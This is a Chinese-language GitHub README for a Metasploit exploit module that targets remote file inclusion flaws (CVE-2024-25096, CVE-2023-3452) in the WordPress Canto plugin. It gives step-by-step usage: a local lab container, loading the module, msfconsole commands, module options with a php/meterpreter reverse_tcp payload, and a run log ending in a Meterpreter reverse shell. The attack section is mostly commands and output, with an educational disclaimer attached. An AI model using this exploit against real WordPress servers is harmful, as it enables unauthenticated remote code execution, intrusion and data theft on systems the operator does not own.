puppetma4ster/Metasploit-Wordpress-Canto-Exploit-RCE
GitHub: puppetma4ster/Metasploit-Wordpress-Canto-Exploit-RCE
Metasploit 模块,利用 WordPress Canto 插件的远程文件包含漏洞实现未经身份验证的远程代码执行。
Stars: 0 | Forks: 0
# Metasploit exploit 模块 canto RCE CVE-2024-25096 & CVE-2023-3452
此 exploit 是针对 RFI 漏洞 CVE-2024-25096 和 CVE-2023-3452 的概念验证 exploit,
这些漏洞允许攻击者在目标上建立交互式远程 shell 会话。
CVE-2024-25096 滥用了 abspath 参数,该参数允许通过 include_once 语句进行远程文件
包含。
CVE-2023-3452 具有相同的过程,不同之处在于 “wp_abspath” 参数允许通过 require_once 语句进行远程文件包含。
这允许攻击者在目标服务器上执行未经身份验证的代码。
尽管漏洞数据库列出 CVE-2023-3452 影响至 3.0.4 版本,
但测试证实该漏洞在 3.0.6 版本之前仍可被利用。
该问题在 3.0.7 版本中已修补,该版本也修复了 CVE-2024-25096。
## 需求
目标需满足以下条件才具有漏洞:
- 已安装 canto 插件版本 <= 3.0.6
- ```allow_url_include=On ```
## 用法
### 测试目标配置
克隆此仓库并下载 canto 插件
[下载 Canto 3.0.4](https://downloads.wordpress.org/plugin/canto.3.0.4.zip)
[下载 Canto 3.0.5](https://downloads.wordpress.org/plugin/canto.3.0.5.zip)
[下载 Canto 3.0.6](https://downloads.wordpress.org/plugin/canto.3.0.6.zip)
请注意,如果您想下载早期版本的 Canto,只需复制链接并将链接中的版本号更改为您想要的版本即可。
使用 ```podman-compose up``` 命令启动容器 (docker-compose.yaml)。
在您选择的浏览器中打开 http://localhost:8889/wp-admin/install.php 并设置一个 wordpress 帐户。
登录后,您可以在 插件 -> 添加新插件 -> 插件上传 选项卡下选择并安装 canto zip 文件。
### Exploit 配置
将 exploit (```rce_exploit_cve_2024_25096.rb```) 添加到 metasploit 模块文件夹。
启动 Metasploit (```msfconsole```) 并重新加载 Metasploit (```reload_all```)。
选择 payload。
```
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
```
设置所需变量的值
```
Module options (exploit/rce_exploit_cve_2024_25096):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 yes Port
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false yes Use SSL
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETFILE get.php yes Vulnerable PHP file
TARGETURI /wp-content/plugins/canto yes Path to cantos root directory
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Plugin <= 3.0.6
View the full module info with the info, or info -d command
```
运行 exploit 并祝你好运 ;)
```
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
```
## 免责声明
本项目仅用于教育和安全研究目的。
作者不鼓励或纵容任何非法活动。严禁在未经许可的情况下使用此代码攻击系统。
作者不对因使用本软件而造成的任何误用或损害负责。用户有责任确保其遵守所有适用法律法规。
仅在您拥有明确许可的环境中(例如实验室环境、渗透测试项目或安全研究)使用此代码。
标签:Canto, CISA项目, CVE-2023-3452, CVE-2024-25096, RCE, RFI, Ruby, Web安全, WordPress插件漏洞, 攻击框架, 文件完整性监控, 未授权访问, 知识库, 编程工具, 网络安全, 蓝队分析, 请求拦截, 远程代码执行, 远程文件包含, 隐私保护